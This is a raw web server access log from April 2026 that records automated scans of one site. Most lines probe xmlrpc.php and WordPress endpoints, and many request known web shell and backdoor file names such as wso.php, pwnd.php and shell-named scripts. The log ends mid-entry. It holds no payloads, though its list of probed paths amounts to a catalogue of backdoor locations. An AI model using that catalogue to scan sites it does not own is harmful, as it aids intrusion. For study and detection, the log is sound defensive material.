"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 138.124.73.27 - - [18/Apr/2026:19:17:22 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4.232.146.182 - - [18/Apr/2026:20:33:08 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.232.146.182 - - [18/Apr/2026:20:33:42 +0300] "GET /cs.php HTTP/1.1" 301 795 "-" "-" 4.232.146.182 - - [18/Apr/2026:20:33:48 +0300] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 4.232.146.182 - - [18/Apr/2026:20:33:51 +0300] "GET /subs/upload/upload.php HTTP/1.1" 301 795 "-" "-" 4.232.146.182 - - [18/Apr/2026:20:33:53 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 182.44.10.67 - - [18/Apr/2026:21:10:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.133.187.11 - - [18/Apr/2026:19:18:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.195.232.178 - - [18/Apr/2026:19:41:02 +0300] "GET /blog/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0" 185.195.232.178 - - [18/Apr/2026:19:41:03 +0300] "GET /site/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.195.232.178 - - [18/Apr/2026:19:41:03 +0300] "GET /site/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.195.232.178 - - [18/Apr/2026:19:41:04 +0300] "GET /site HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 4.232.146.182 - - [18/Apr/2026:20:33:22 +0300] "GET /kcs.php HTTP/1.1" 301 795 "-" "-" 4.232.146.182 - - [18/Apr/2026:20:33:26 +0300] "GET /wp-post-data.php HTTP/1.1" 301 795 "-" "-" 4.232.146.182 - - [18/Apr/2026:20:33:29 +0300] "GET /shell20211022.php HTTP/1.1" 301 795 "-" "-" 4.232.146.182 - - [18/Apr/2026:20:33:33 +0300] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 185.195.232.178 - - [18/Apr/2026:19:41:02 +0300] "GET /site/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 185.195.232.178 - - [18/Apr/2026:19:41:02 +0300] "GET /wp/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.195.232.178 - - [18/Apr/2026:19:41:03 +0300] "GET /wp/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 185.195.232.178 - - [18/Apr/2026:19:41:04 +0300] "GET /blog HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.2210.91" 185.195.232.178 - - [18/Apr/2026:19:41:02 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 185.195.232.178 - - [18/Apr/2026:19:41:02 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0" 185.195.232.178 - - [18/Apr/2026:19:41:03 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 185.195.232.178 - - [18/Apr/2026:19:41:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.195.232.178 - - [18/Apr/2026:19:41:02 +0300] "GET /wp/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 185.195.232.178 - - [18/Apr/2026:19:41:02 +0300] "GET /wordpress/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.195.232.178 - - [18/Apr/2026:19:41:02 +0300] "GET /blog/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.195.232.178 - - [18/Apr/2026:19:41:03 +0300] "GET /wordpress/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15" 185.195.232.178 - - [18/Apr/2026:19:41:03 +0300] "GET /blog/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15" 185.195.232.178 - - [18/Apr/2026:19:41:03 +0300] "GET /wordpress/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.195.232.178 - - [18/Apr/2026:19:41:04 +0300] "GET /wp HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.2210.91" 185.195.232.178 - - [18/Apr/2026:19:41:04 +0300] "GET /wordpress HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 101.255.64.242 - - [18/Apr/2026:23:06:34 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 79.110.196.134 - - [18/Apr/2026:21:59:17 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 66.135.16.53 - - [18/Apr/2026:23:06:29 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 84.247.172.109 - - [18/Apr/2026:22:21:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 114.80.36.40 - - [19/Apr/2026:03:07:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.195.232.178 - - [19/Apr/2026:03:35:09 +0300] "GET /wordpress/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15" 185.195.232.178 - - [19/Apr/2026:03:35:10 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 14; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Mobile Safari/537.36" 185.195.232.178 - - [19/Apr/2026:03:35:10 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.195.232.178 - - [19/Apr/2026:03:35:11 +0300] "GET /blog HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.134.232.52 - - [19/Apr/2026:01:20:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.195.232.178 - - [19/Apr/2026:03:35:09 +0300] "GET /wp/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 185.195.232.178 - - [19/Apr/2026:03:35:09 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15" 185.195.232.178 - - [19/Apr/2026:03:35:10 +0300] "GET /wordpress/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36" 185.195.232.178 - - [19/Apr/2026:03:35:10 +0300] "GET /wp/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 185.195.232.178 - - [19/Apr/2026:03:35:10 +0300] "GET /wp/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 185.195.232.178 - - [19/Apr/2026:03:35:10 +0300] "GET /site/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0" 185.195.232.178 - - [19/Apr/2026:03:35:11 +0300] "GET /wp HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.195.232.178 - - [19/Apr/2026:03:35:11 +0300] "GET /site HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.195.232.178 - - [19/Apr/2026:03:35:09 +0300] "GET /blog/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.2210.91" 185.195.232.178 - - [19/Apr/2026:03:35:10 +0300] "GET /blog/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15" 185.195.232.178 - - [19/Apr/2026:03:35:10 +0300] "GET /blog/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 185.195.232.178 - - [19/Apr/2026:03:35:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 116.76.36.199 - - [19/Apr/2026:02:54:53 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3591.78 Safari/537.36 QIHU 360SE" 185.195.232.178 - - [19/Apr/2026:03:35:09 +0300] "GET /site/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36" 185.195.232.178 - - [19/Apr/2026:03:35:10 +0300] "GET /site/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.195.232.178 - - [19/Apr/2026:03:35:10 +0300] "GET /wordpress/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36" 185.195.232.178 - - [19/Apr/2026:03:35:11 +0300] "GET /wordpress HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36" 43.166.255.122 - - [19/Apr/2026:02:22:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 212.30.36.148 - - [19/Apr/2026:04:00:41 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:41 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:41 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:41 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:41 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:00:41 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:41 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:00:41 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /wp-admin/maint/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /wp-admin/images/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:42 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /admin/uploads/bn_1_1754420677.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /wp-content/plugins/envato-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /uploads/94056-upload.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /js/bas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:43 +0300] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-content/plugins/elementor/wp-wjvngrh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-includes/IXR/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-includes/widgets/dyqvcfqv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 